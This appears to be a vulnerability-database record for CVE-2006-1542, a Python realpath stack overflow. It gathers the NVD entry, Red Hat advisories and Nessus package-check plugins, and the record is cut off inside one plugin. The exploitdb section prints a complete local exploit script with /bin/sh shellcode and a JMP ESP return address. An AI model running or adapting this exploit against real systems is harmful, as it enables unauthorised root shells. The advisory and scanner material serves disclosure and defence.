{"cve": [{"lastseen": "2021-02-02T05:27:19", "description": "Stack-based buffer overflow in Python 2.4.2 and earlier, running on Linux 2.6.12.5 under gcc 4.0.3 with libc 2.3.5, allows local users to cause a \"stack overflow,\" and possibly gain privileges, by running a script from a current working directory that has a long name, related to the realpath function. NOTE: this might not be a vulnerability. However, the fact that it appears in a programming language interpreter could mean that some applications are affected, although attack scenarios might be limited because the attacker might already need to cross privilege boundaries to cause an exploitable program to be placed in a directory with a long name; or, depending on the method that Python uses to determine the current working directory, setuid applications might be affected.\nSuccessful exploitation requires that the Python is running on Linux 2.6.12.5 under gcc 4.0.3 with libc 2.3.5", "edition": 6, "cvss3": {}, "published": "2006-03-30T11:02:00", "title": "CVE-2006-1542", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 1.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 3.7, "vectorString": "AV:L/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-1542"], "modified": "2017-10-19T01:29:00", "cpe": ["cpe:/a:python_software_foundation:python:2.3.2", "cpe:/a:python_software_foundation:python:2.3.3", "cpe:/a:python_software_foundation:python:2.3", "cpe:/a:python_software_foundation:python:2.3.1", "cpe:/a:python_software_foundation:python:2.4.2", "cpe:/a:python_software_foundation:python:2.2.1", "cpe:/a:python_software_foundation:python:2.3.4", "cpe:/a:python_software_foundation:python:2.2", "cpe:/a:python_software_foundation:python:2.4"], "id": "CVE-2006-1542", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1542", "cvss": {"score": 3.7, "vector": "AV:L/AC:H/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:python_software_foundation:python:2.3:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.4:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.2:*:*:*:*:*:*:*", "cpe:2.3:a:python_software_foundation:python:2.2.1:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2016-01-31T14:30:25", "description": "Python <= 2.4.2 realpath() Local Stack Overflow Exploit. CVE-2006-1542. Local exploit for linux platform", "published": "2006-03-18T00:00:00", "type": "exploitdb", "title": "Python <= 2.4.2 realpath Local Stack Overflow Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-1542"], "modified": "2006-03-18T00:00:00", "id": "EDB-ID:1591", "href": "https://www.exploit-db.com/exploits/1591/", "sourceData": "#!/usr/bin/python\n \n# gexp-python.py\n# \n# Python <= 2.4.2 realpath() Local Stack Overflow\n# -----------------------------------------------\n# Against VA Space Randomization.\n#\n# Copyright (c) 2006 Gotfault Security\n#\n# Bug found and developed by: dx/vaxen (Gotfault Security),\n#\t\t\t posidron (Tripbit Research Group).\n# Enviroment:\n#\n# Kernel Version\t : 2.6.12.5-vs2.0\n# GCC Version\t\t : 4.0.3\n# Libc Version\t\t : 2.3.5\n#\n# Special greets goes to : posidron from tripbit.net\n#\t\t\t RFDSLabs, barros, izik,\n#\t\t\t Gotfault Security Community.\n#\n# Original Reference:\n# http://gotfault.net/research/exploit/gexp-python.py\n\nimport os\n\n# JMP *%ESP @ linux-gate.so.1\njmp = \"\\x5f\\xe7\\xff\\xff\"\n\nshell = \"\\xeb\\x1a\\x5e\\x31\\xc0\\x88\\x46\\x07\\x8d\\x1e\"\nshell += \"\\x89\\x5e\\x08\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\"\nshell += \"\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\xe8\\xe1\"\nshell += \"\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\"\n\nos.chdir(\"/tmp\")\nbase = os.getcwd()\ndir = os.path.join(\"A\"*250, \"A\"*250, \"A\"*250, \"A\"*250, \"A\"*42, jmp+shell)\nos.makedirs(dir)\nos.chdir(dir)\n\nos.system('> vuln.py; python vuln.py')\nos.remove(\"vuln.py\")\nos.chdir(base)\nos.removedirs(dir)\n\n# milw0rm.com [2006-03-18]\n", "cvss": {"score": 3.7, "vector": "AV:LOCAL/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/1591/"}], "redhat": [{"lastseen": "2019-08-13T18:44:38", "bulletinFamily": "unix", "cvelist": ["CVE-2005-1849", "CVE-2005-2096", "CVE-2005-2969", "CVE-2006-1542", "CVE-2006-2937", "CVE-2006-2940", "CVE-2006-3738", "CVE-2006-4339", "CVE-2006-4343", "CVE-2006-4980", "CVE-2007-2052", "CVE-2007-4965"], "description": "This release corrects several security vulnerabilities in components\nshipped as part of the Red Hat Network Satellite Server Solaris client. In\na typical operating environment, these components are not used by the\nSatellite Server in a vulnerable manner. These security updates will reduce\nrisk should these components be used by other applications.\n\nSeveral flaws in Zlib were discovered. An attacker could create a\ncarefully-crafted compressed stream that would cause an application to\ncrash if the stream was opened by a user. (CVE-2005-2096, CVE-2005-1849)\n\nA buffer overflow was discovered in the OpenSSL SSL_get_shared_ciphers()\nutility function. An attacker could send a list of ciphers to an\napplication that used this function and overrun a buffer (CVE-2006-3738).\n\nA flaw in the SSLv2 client code was discovered. If a client application\nused OpenSSL to create an SSLv2 connection to a malicious server, that\nserver could cause the client to crash. (CVE-2006-4343)\n\nAn attack on OpenSSL PKCS #1 v1.5 signatures was discovered. Where an RSA\nkey with exponent 3 was used an attacker could, potentially, forge a PKCS\n#1 v1.5 signature that would be incorrectly verified by implementations\nthat do not check for excess data in the RSA exponentiation result of the\nsignature. This issue affected applications that use OpenSSL to verify\nX.509 certificates as well as other uses of PKCS #1 v1.5. (CVE-2006-4339)\n\nOpenSSL contained a software work-around for a bug in SSL handling in\nMicrosoft Internet Explorer version 3.0.2. It is enabled in most servers\nthat use OpenSSL to provide support for SSL and TLS. This work-around was\nvulnerable to a man-in-the-middle attack which allowed a remote user to\nforce an SSL connection to use SSL 2.0, rather than a stronger protocol,\nsuch as SSL 3.0 or TLS 1.0. (CVE-2005-2969)\n\nDuring OpenSSL parsing of certain invalid ASN.1 structures, an error\ncondition was mishandled. This could result in an infinite loop which\nconsumed system memory (CVE-2006-2937).\n\nCertain public key types could take disproportionate amounts of time to\nprocess in OpenSSL, leading to a denial of service. (CVE-2006-2940)\n\nA flaw was discovered in the Python repr() function's handling of\nUTF-32/UCS-4 strings. If an application used the repr() function on\nuntrusted data, this could lead to a denial of service or, possibly, allow\nthe execution of arbitrary code with the privileges of the application\nusing the flawed function. (CVE-2006-4980)\n\nA flaw was discovered in the strxfrm() function of Python's locale module.\nStrings generated by this function were not properly NULL-terminated. This\ncould, potentially, cause disclosure of data stored in the memory of an\napplication using this function. (CVE-2007-2052)\n\nMultiple integer overflow flaws were discovered in Python's imageop module.\nIf an application used the imageop module to process untrusted images, it\ncould cause the application to crash, enter an infinite loop, or, possibly,\nexecute arbitrary code with the privileges of the Python interpreter.\n(CVE-2007-4965)\n\nA stack-based buffer overflow was discovered in the Python interpreter,\nwhich could allow a local user to gain privileges by running a script with\na long name from the current working directory. (CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server should upgrade to these updated\npackages, which contain backported patches to correct these issues.", "modified": "2019-03-22T23:44:55", "published": "2008-08-13T04:00:00", "id": "RHSA-2008:0629", "href": "https://access.redhat.com/errata/RHSA-2008:0629", "type": "redhat", "title": "(RHSA-2008:0629) Moderate: Red Hat Network Satellite Server Solaris client security update", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-13T18:46:01", "bulletinFamily": "unix", "cvelist": ["CVE-2005-1849", "CVE-2005-2096", "CVE-2005-2969", "CVE-2006-1542", "CVE-2006-2937", "CVE-2006-2940", "CVE-2006-3738", "CVE-2006-4339", "CVE-2006-4343", "CVE-2006-4980", "CVE-2007-2052", "CVE-2007-4965"], "description": "This release corrects several security vulnerabilities in various\ncomponents shipped as part of the Red Hat Network Satellite Server Solaris\nclient. In a typical operating environment, these components are not used\nby the Satellite Server in a vulnerable manner. These security updates will\nreduce risk should these components be used by other applications.\n\nSeveral flaws in Zlib was discovered. An attacker could create a\ncarefully-crafted compressed stream that would cause an application to\ncrash if the stream is opened by a user. (CVE-2005-2096). An attacker\ncould create a carefully crafted compressed stream that would cause an\napplication to crash if the stream is opened by a user. (CVE-2005-1849)\n\nA buffer overflow was discovered in the OpenSSL SSL_get_shared_ciphers()\nutility function. An attacker could send a list of ciphers to an\napplication that used this function and overrun a buffer (CVE-2006-3738).\n\nA flaw in the SSLv2 client code was discovered. If a client application\nused OpenSSL to create an SSLv2 connection to a malicious server, that\nserver could cause the client to crash. (CVE-2006-4343)\n\nAn attack on OpenSSL PKCS #1 v1.5 signatures was discovered. Where an RSA\nkey with exponent 3 is used it may be possible for an attacker to forge a\nPKCS #1 v1.5 signature that would be incorrectly verified by\nimplementations that do not check for excess data in the RSA exponentiation\nresult of the signature. This issue affected applications that use OpenSSL\nto verify X.509 certificates as well as other uses of PKCS #1 v1.5.\n(CVE-2006-4339)\n\nOpenSSL contained a software work-around for a bug in SSL handling in\nMicrosoft Internet Explorer version 3.0.2. It is enabled in most servers\nthat use OpenSSL to provide support for SSL and TLS. This work-around could\nallow an attacker, acting as a \"man in the middle\" to force an SSL\nconnection to use SSL 2.0 rather than a stronger protocol, such as SSL 3.0\nor TLS 1.0. (CVE-2005-2969)\n\nDuring OpenSSL parsing of certain invalid ASN.1 structures an error\ncondition was mishandled. This can result in an infinite loop which\nconsumed system memory (CVE-2006-2937). \n\nCertain public key types can take disproportionate amounts of time to\nprocess in OpenSSL, leading to a denial of service. (CVE-2006-2940)\n\nA flaw was discovered in the way that the Python repr() function handled\nUTF-32/UCS-4 strings. If an application written in Python used the repr()\nfunction on untrusted data, this could lead to a denial of service or\npossibly allow the execution of arbitrary code with the privileges of the\nPython application. (CVE-2006-4980)\n\nA flaw was discovered in the strxfrm() function of Python's locale module.\nStrings generated by this function were not properly NULL-terminated. This\nmay possibly cause disclosure of data stored in the memory of a Python\napplication using this function. (CVE-2007-2052)\n\nMultiple integer overflow flaws were discovered in Python's imageop module.\nIf an application written in Python used the imageop module to process\nuntrusted images, it could cause the application to crash, enter an\ninfinite loop, or possibly execute arbitrary code with the privileges of\nthe Python interpreter. (CVE-2007-4965)\n\nA stack-based buffer overflow was discovered in the Python interpreter,\nwhich could allow a local user to gain privileges by running a script with\na long name from the current working directory. (CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server should upgrade to these updated\npackages, which contain backported patches to correct these issues. ", "modified": "2019-03-22T23:44:30", "published": "2008-06-30T04:00:00", "id": "RHSA-2008:0525", "href": "https://access.redhat.com/errata/RHSA-2008:0525", "type": "redhat", "title": "(RHSA-2008:0525) Moderate: Red Hat Network Satellite Server Solaris client security update", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-13T18:45:12", "bulletinFamily": "unix", "cvelist": ["CVE-2005-1849", "CVE-2005-2096", "CVE-2005-2969", "CVE-2006-1542", "CVE-2006-2937", "CVE-2006-2940", "CVE-2006-3738", "CVE-2006-4339", "CVE-2006-4343", "CVE-2006-4980", "CVE-2007-2052", "CVE-2007-4965"], "description": "This release corrects several security vulnerabilities in various\ncomponents shipped as part of the Red Hat Network Satellite Server Solaris\nclient. In a typical operating environment, these components are not used\nby the Satellite Server in a vulnerable manner. These security updates will\nreduce risk should these components be used by other applications.\n\nTwo denial-of-service flaws were fixed in ZLib. (CVE-2005-2096,\nCVE-2005-1849)\n\nMultiple flaws were fixed in OpenSSL. (CVE-2006-4343, CVE-2006-4339,\nCVE-2006-3738, CVE-2006-2940, CVE-2006-2937, CVE-2005-2969)\n\nMultiple flaws were fixed in Python. (CVE-2007-4965, CVE-2007-2052,\nCVE-2006-4980, CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server 5.0.1 are advised to upgrade to\n5.0.2, which resolves these issues.", "modified": "2019-03-22T23:44:35", "published": "2008-05-20T04:00:00", "id": "RHSA-2008:0264", "href": "https://access.redhat.com/errata/RHSA-2008:0264", "type": "redhat", "title": "(RHSA-2008:0264) Moderate: Red Hat Network Satellite Server Solaris client security update", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2021-01-17T13:06:09", "description": "Red Hat Network Satellite Server version 4.2.3 is now available. This\nupdate includes fixes for a number of security issues in Red Hat\nNetwork Satellite Server Solaris client components.\n\nThis update has been rated as having moderate security impact by the\nRed Hat Security Response Team.\n\nThis release corrects several security vulnerabilities in various\ncomponents shipped as part of the Red Hat Network Satellite Server\nSolaris client. In a typical operating environment, these components\nare not used by the Satellite Server in a vulnerable manner. These\nsecurity updates will reduce risk should these components be used by\nother applications.\n\nSeveral flaws in Zlib was discovered. An attacker could create a\ncarefully-crafted compressed stream that would cause an application to\ncrash if the stream is opened by a user. (CVE-2005-2096). An attacker\ncould create a carefully crafted compressed stream that would cause an\napplication to crash if the stream is opened by a user.\n(CVE-2005-1849)\n\nA buffer overflow was discovered in the OpenSSL\nSSL_get_shared_ciphers() utility function. An attacker could send a\nlist of ciphers to an application that used this function and overrun\na buffer (CVE-2006-3738).\n\nA flaw in the SSLv2 client code was discovered. If a client\napplication used OpenSSL to create an SSLv2 connection to a malicious\nserver, that server could cause the client to crash. (CVE-2006-4343)\n\nAn attack on OpenSSL PKCS #1 v1.5 signatures was discovered. Where an\nRSA key with exponent 3 is used it may be possible for an attacker to\nforge a PKCS #1 v1.5 signature that would be incorrectly verified by\nimplementations that do not check for excess data in the RSA\nexponentiation result of the signature. This issue affected\napplications that use OpenSSL to verify X.509 certificates as well as\nother uses of PKCS #1 v1.5. (CVE-2006-4339)\n\nOpenSSL contained a software work-around for a bug in SSL handling in\nMicrosoft Internet Explorer version 3.0.2. It is enabled in most\nservers that use OpenSSL to provide support for SSL and TLS. This\nwork-around could allow an attacker, acting as a 'man in the middle'\nto force an SSL connection to use SSL 2.0 rather than a stronger\nprotocol, such as SSL 3.0 or TLS 1.0. (CVE-2005-2969)\n\nDuring OpenSSL parsing of certain invalid ASN.1 structures an error\ncondition was mishandled. This can result in an infinite loop which\nconsumed system memory (CVE-2006-2937).\n\nCertain public key types can take disproportionate amounts of time to\nprocess in OpenSSL, leading to a denial of service. (CVE-2006-2940)\n\nA flaw was discovered in the way that the Python repr() function\nhandled UTF-32/UCS-4 strings. If an application written in Python used\nthe repr() function on untrusted data, this could lead to a denial of\nservice or possibly allow the execution of arbitrary code with the\nprivileges of the Python application. (CVE-2006-4980)\n\nA flaw was discovered in the strxfrm() function of Python's locale\nmodule. Strings generated by this function were not properly\nNULL-terminated. This may possibly cause disclosure of data stored in\nthe memory of a Python application using this function.\n(CVE-2007-2052)\n\nMultiple integer overflow flaws were discovered in Python's imageop\nmodule. If an application written in Python used the imageop module to\nprocess untrusted images, it could cause the application to crash,\nenter an infinite loop, or possibly execute arbitrary code with the\nprivileges of the Python interpreter. (CVE-2007-4965)\n\nA stack-based buffer overflow was discovered in the Python\ninterpreter, which could allow a local user to gain privileges by\nrunning a script with a long name from the current working directory.\n(CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server should upgrade to these\nupdated packages, which contain backported patches to correct these\nissues.", "edition": 27, "published": "2010-01-10T00:00:00", "title": "RHEL 3 / 4 : Solaris client in Satellite Server (RHSA-2008:0525)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-2052", "CVE-2006-3738", "CVE-2006-2940", "CVE-2006-2937", "CVE-2005-1849", "CVE-2006-4343", "CVE-2005-2969", "CVE-2006-4339", "CVE-2006-1542", "CVE-2007-4965", "CVE-2006-4980", "CVE-2005-2096"], "modified": "2010-01-10T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:3", "cpe:/o:redhat:enterprise_linux:4", "p-cpe:/a:redhat:enterprise_linux:rhn-solaris-bootstrap", "p-cpe:/a:redhat:enterprise_linux:rhn_solaris_bootstrap_5_0_2_3"], "id": "REDHAT-RHSA-2008-0525.NASL", "href": "https://www.tenable.com/plugins/nessus/43838", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2008:0525. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(43838);\n script_version(\"1.24\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2005-1849\", \"CVE-2005-2096\", \"CVE-2005-2969\", \"CVE-2006-1542\", \"CVE-2006-2937\", \"CVE-2006-2940\", \"CVE-2006-3738\", \"CVE-2006-4339\", \"CVE-2006-4343\", \"CVE-2006-4980\", \"CVE-2007-2052\", \"CVE-2007-4965\");\n script_bugtraq_id(19849, 20246, 20247, 20248, 20249, 25696, 28276);\n script_xref(name:\"RHSA\", value:\"2008:0525\");\n\n script_name(english:\"RHEL 3 / 4 : Solaris client in Satellite Server (RHSA-2008:0525)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Red Hat Network Satellite Server version 4.2.3 is now available. This\nupdate includes fixes for a number of security issues in Red Hat\nNetwork Satellite Server Solaris client components.\n\nThis update has been rated as having moderate security impact by the\nRed Hat Security Response Team.\n\nThis release corrects several security vulnerabilities in various\ncomponents shipped as part of the Red Hat Network Satellite Server\nSolaris client. In a typical operating environment, these components\nare not used by the Satellite Server in a vulnerable manner. These\nsecurity updates will reduce risk should these components be used by\nother applications.\n\nSeveral flaws in Zlib was discovered. An attacker could create a\ncarefully-crafted compressed stream that would cause an application to\ncrash if the stream is opened by a user. (CVE-2005-2096). An attacker\ncould create a carefully crafted compressed stream that would cause an\napplication to crash if the stream is opened by a user.\n(CVE-2005-1849)\n\nA buffer overflow was discovered in the OpenSSL\nSSL_get_shared_ciphers() utility function. An attacker could send a\nlist of ciphers to an application that used this function and overrun\na buffer (CVE-2006-3738).\n\nA flaw in the SSLv2 client code was discovered. If a client\napplication used OpenSSL to create an SSLv2 connection to a malicious\nserver, that server could cause the client to crash. (CVE-2006-4343)\n\nAn attack on OpenSSL PKCS #1 v1.5 signatures was discovered. Where an\nRSA key with exponent 3 is used it may be possible for an attacker to\nforge a PKCS #1 v1.5 signature that would be incorrectly verified by\nimplementations that do not check for excess data in the RSA\nexponentiation result of the signature. This issue affected\napplications that use OpenSSL to verify X.509 certificates as well as\nother uses of PKCS #1 v1.5. (CVE-2006-4339)\n\nOpenSSL contained a software work-around for a bug in SSL handling in\nMicrosoft Internet Explorer version 3.0.2. It is enabled in most\nservers that use OpenSSL to provide support for SSL and TLS. This\nwork-around could allow an attacker, acting as a 'man in the middle'\nto force an SSL connection to use SSL 2.0 rather than a stronger\nprotocol, such as SSL 3.0 or TLS 1.0. (CVE-2005-2969)\n\nDuring OpenSSL parsing of certain invalid ASN.1 structures an error\ncondition was mishandled. This can result in an infinite loop which\nconsumed system memory (CVE-2006-2937).\n\nCertain public key types can take disproportionate amounts of time to\nprocess in OpenSSL, leading to a denial of service. (CVE-2006-2940)\n\nA flaw was discovered in the way that the Python repr() function\nhandled UTF-32/UCS-4 strings. If an application written in Python used\nthe repr() function on untrusted data, this could lead to a denial of\nservice or possibly allow the execution of arbitrary code with the\nprivileges of the Python application. (CVE-2006-4980)\n\nA flaw was discovered in the strxfrm() function of Python's locale\nmodule. Strings generated by this function were not properly\nNULL-terminated. This may possibly cause disclosure of data stored in\nthe memory of a Python application using this function.\n(CVE-2007-2052)\n\nMultiple integer overflow flaws were discovered in Python's imageop\nmodule. If an application written in Python used the imageop module to\nprocess untrusted images, it could cause the application to crash,\nenter an infinite loop, or possibly execute arbitrary code with the\nprivileges of the Python interpreter. (CVE-2007-4965)\n\nA stack-based buffer overflow was discovered in the Python\ninterpreter, which could allow a local user to gain privileges by\nrunning a script with a long name from the current working directory.\n(CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server should upgrade to these\nupdated packages, which contain backported patches to correct these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-1849\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-2096\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-2969\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-1542\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-2937\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-2940\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-3738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4339\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4343\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4980\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2007-2052\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2007-4965\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2008:0525\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected rhn-solaris-bootstrap and / or\nrhn_solaris_bootstrap_5_0_2_3 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(119, 189, 310, 399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:rhn-solaris-bootstrap\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:rhn_solaris_bootstrap_5_0_2_3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:4\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/07/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2008/06/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/01/10\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(3|4)([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 3.x / 4.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2008:0525\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n\n if (! (rpm_exists(release:\"RHEL3\", rpm:\"rhns-solaris-\") || rpm_exists(release:\"RHEL4\", rpm:\"rhns-solaris-\"))) audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Satellite Server\");\n\n if (rpm_check(release:\"RHEL3\", reference:\"rhn-solaris-bootstrap-5.0.2-3\")) flag++;\n if (rpm_check(release:\"RHEL3\", reference:\"rhn_solaris_bootstrap_5_0_2_3-1-0\")) flag++;\n\n if (rpm_check(release:\"RHEL4\", reference:\"rhn-solaris-bootstrap-5.0.2-3\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"rhn_solaris_bootstrap_5_0_2_3-1-0\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rhn-solaris-bootstrap / rhn_solaris_bootstrap_5_0_2_3\");\n }\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T13:06:07", "description": "Red Hat Network Satellite Server version 5.0.2 is now available. This\nupdate includes fixes for a number of security issues in Red Hat\nNetwork Satellite Server Solaris client components.\n\nThis update has been rated as having moderate security impact by the\nRed Hat Security Response Team.\n\nThis release corrects several security vulnerabilities in various\ncomponents shipped as part of the Red Hat Network Satellite Server\nSolaris client. In a typical operating environment, these components\nare not used by the Satellite Server in a vulnerable manner. These\nsecurity updates will reduce risk should these components be used by\nother applications.\n\nTwo denial-of-service flaws were fixed in ZLib. (CVE-2005-2096,\nCVE-2005-1849)\n\nMultiple flaws were fixed in OpenSSL. (CVE-2006-4343, CVE-2006-4339,\nCVE-2006-3738, CVE-2006-2940, CVE-2006-2937, CVE-2005-2969)\n\nMultiple flaws were fixed in Python. (CVE-2007-4965, CVE-2007-2052,\nCVE-2006-4980, CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server 5.0.1 are advised to upgrade\nto 5.0.2, which resolves these issues.", "edition": 26, "published": "2010-01-10T00:00:00", "title": "RHEL 4 : Solaris client in Satellite Server (RHSA-2008:0264)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-2052", "CVE-2006-3738", "CVE-2006-2940", "CVE-2006-2937", "CVE-2005-1849", "CVE-2006-4343", "CVE-2005-2969", "CVE-2006-4339", "CVE-2006-1542", "CVE-2007-4965", "CVE-2006-4980", "CVE-2005-2096"], "modified": "2010-01-10T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:4", "p-cpe:/a:redhat:enterprise_linux:rhn-solaris-bootstrap", "p-cpe:/a:redhat:enterprise_linux:rhn_solaris_bootstrap_5_0_2_3"], "id": "REDHAT-RHSA-2008-0264.NASL", "href": "https://www.tenable.com/plugins/nessus/43836", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2008:0264. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(43836);\n script_version(\"1.23\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2005-1849\", \"CVE-2005-2096\", \"CVE-2005-2969\", \"CVE-2006-1542\", \"CVE-2006-2937\", 